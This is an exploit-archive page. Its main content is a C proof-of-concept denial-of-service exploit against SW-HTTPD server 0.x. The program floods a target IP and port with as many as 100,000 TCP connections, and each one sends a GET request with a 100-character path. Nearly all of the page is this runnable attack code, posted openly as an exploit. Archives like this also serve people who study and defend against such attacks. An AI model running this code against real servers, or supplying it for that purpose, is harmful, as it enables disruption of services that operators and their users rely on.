what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SW-HTTPD Denial Of Service

SW-HTTPD Denial Of Service
Posted Mar 20, 2009
Authored by Jonathan Salwan | Site shell-storm.org

SW-HTTPD server version 0.x remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 6d206225ff5add8206c22ae2a426a16c591e3ff1aeff00e404894858c80e4475

SW-HTTPD Denial Of Service

Change Mirror Download
/*
SW-HTTPD Server v0.x Denial of Service (PoC)

Multiple Connections with GET /A[100] HTTP/1.1

Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
{
fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port>\n\n",file);
exit(0);
}

int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);

int port = atoi(argv[2]);

int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;


char hexa[100] = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";

struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);

int i=0;
char request[118];

fprintf(stdout,"[+]SW-HTTPD Server %s\n",argv[1]);

for(i=0;i<100000;i++){

mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stdout,"[+]Done!\n");
return 1;}

srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);

if (srv_connect != -1)
{
sprintf(request, "GET /%s HTTP/1.1\r\n", hexa);

if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Request\t\t[FAILED]\n");
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done!\n");
return 1;}
}
else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
fprintf(stdout,"[+]Done!\n");
shutdown(mysocket2,1);
return 1;}

shutdown(mysocket2,1);
}
return 0;
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close